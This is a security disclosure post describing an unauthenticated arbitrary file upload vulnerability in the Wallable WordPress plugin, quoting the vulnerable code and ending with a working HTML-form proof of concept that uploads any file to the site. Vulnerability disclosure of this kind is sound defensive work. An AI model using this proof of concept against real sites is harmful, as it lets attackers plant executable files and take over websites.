22 Nov

Arbitrary File Upload Vulnerability in Wallable

A month ago we wrote about how the security review of newly submitted plugins to the WordPress Plugin Directory needs improvement. One of the newly introduced plugins that lead to that post was the plugin Wallable. We came across the plugin through our proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. The possible vulnerability that had been identified in the plugin was an arbitrary file upload vulnerability and when we went to look into that we found that not only did that issue exist, but the plugin was fairly insecure in a more general fashion.

In three locations in the code the plugin would upload arbitrary files. Two of those are located in the function frontend_do_tasks().  When we went to test out exploiting one of those we found that the plugin would cause a fatal error before that could happen when not logged in to WordPress.

The final location is in the function backend_do_tasks(), which based on that name, would seem to be off limits to those not logged in, but that turned out to not be the case.

Near the beginning of the plugin’s main file it checks if is_admin() is true:

21
if (is_admin()){

That function will tell you if “the Dashboard or the administration panel is attempting to be displayed” and can be true when not logged in to WordPress, depending on what is trying to be accessed.

If that is true, the function backend_do_tasks() will be run:

40
41
42
43
44
if (@$_REQUEST['mod'] == 'rawmode'){
	add_action('wp_loaded', array(&$wallable_controller, 'backend_do_tasks'));
}else{
	$wallable_controller->backend_do_tasks();
}

When the function backend_do_tasks() runs it doesn’t do any check as to who is trying to access it (in the file /classes/wallable_controller.php):

294
295
296
297
298
299
function backend_do_tasks() 
{
	//DO tasks
	$task = @$_REQUEST['wallable_task'];
	switch ($task)
	{

When the value of the GET or POST input “wallable_task” is set to “save_items” the following code will run:

303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
case 'save_item':
	if ((int)$_REQUEST['item_id'] > 0){
		$file_name_id = $_REQUEST['item_id'];
	}else{
		$query = "SELECT max(id) as max_id FROM ".$this->_db->prefix."wallable_dashboard_items";
		$rows  = $this->_db->get_results($query, OBJECT);
		$file_name_id = (int) $rows[0]->max_id;
		$file_name_id++;
	}
	if (!empty($_FILES['image']['name'])){					
		$file_info = explode('.', $_FILES['image']['name']);
		$file_type = $file_info[count($file_info)-1];
		$file_name = $file_name_id.'.'.$file_type;
		if (!is_dir(wallable_upload.'/dashboard')){
			wp_mkdir_p(wallable_upload.'/dashboard');
		}
		$dest_file = wallable_upload.'/dashboard/'.$file_name;
		if (move_uploaded_file($_FILES['image']['tmp_name'], $dest_file)){

That will save a file to the directory /wp-content/uploads/wallable/dashboard/ with a name based on the GET or POST input “item_id”, if specified. It doesn’t restrict what types of files can be uploaded.

We notified the developer of the issue on October 23. They responded that it would be fixed with the next upgrade. Subsequent changes have been made to the plugin, but the issue has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the /wp-content/uploads/wallable/dashboard/ with the file name that starts”1000.” and ends with the uploaded file’s file extension.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="wallable_task" value="save_item" />
<input type="hidden" name="item_id" value="1000" />
<input type="file" name="image" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • October 23, 2017 – Developer notified.
  • October 23, 2017 – Developer responds.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

Leave a Reply

Your email address will not be published. Required fields are marked *